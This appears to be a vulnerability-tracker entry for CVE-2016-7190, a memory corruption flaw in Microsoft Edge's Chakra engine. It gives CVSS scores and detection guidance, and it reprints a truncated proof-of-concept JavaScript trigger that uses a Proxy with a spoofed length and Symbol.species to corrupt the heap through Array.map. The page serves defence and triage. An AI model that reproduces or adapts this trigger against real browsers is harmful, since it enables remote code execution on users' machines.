CVE-2016-7190

published 2016-10-14

CVE-2016-7190: The Chakra JavaScript engine in Microsoft Edge allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted…

Priority P2 68 high 7.5 CVSS 3.0

AV N AC H PR N UI R S U C H I H A H

EXPLOIT

The Chakra JavaScript engine in Microsoft Edge allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-3386, CVE-2016-3389, and CVE-2016-7194.

Detection & IOCs extracted from sources · hover to see the quote

command var b = new Array(1,2,3); var d = new Array(1,2,3); class dummy{ constructor(){ alert("in constructor"); return d; } } var handler = { get: function(target, name){ if(name == "length"){ return 0x100; } return {[Symbol.species] : dummy}; }, has: function(target, name){ alert("has " + name); return true; } }; var p = new Proxy([], handler); var a = new Array(1,2,3); function test(){ return 0x777777777777; } var o = a.map.call(p, test);↗

• → Exploit targets Microsoft Edge Chakra engine via Array.map called on a Proxy object with a spoofed 'length' property returning 0x100, triggering a heap overflow (MS16-119 / CVE-2016-7190). ↗
• → Look for JavaScript using a Proxy handler that overrides the 'length' getter to return an abnormally large value (e.g. 0x100) and overrides Symbol.species to redirect Array construction to an attacker-controlled class, then calls Array.prototype.map on the Proxy. ↗
• → The exploit returns a large out-of-bounds integer (0x777777777777) from the map callback to corrupt heap memory; monitor for JavaScript returning oversized numeric literals from Array.map callbacks in Edge. ↗
• → CVE-2016-7190 is one of multiple Chakra Scripting Engine Memory Corruption vulnerabilities addressed in the same bulletin; correlate with CVE-2016-3386, CVE-2016-3389, and CVE-2016-7194 when triaging Edge crashes. ↗

• · The exploit source (Exploit-DB 40602) is labelled for MS16-119 and references CVE-2016-7190 only indirectly via the NVD cross-reference; confirm the exact CVE mapping before using in production detections. ↗
• · The provided exploit code is truncated; the full payload and any shellcode/spray primitives are not present in the supplied sources, so additional IOCs may exist in the complete exploit. ↗

CVSS provenance

nvd v3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

nvd v2.0 7.6 HIGH AV:N/AC:H/Au:N/C:C/I:C/A:C

ghsa 7.5 HIGH

osv 7.5 HIGH

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-119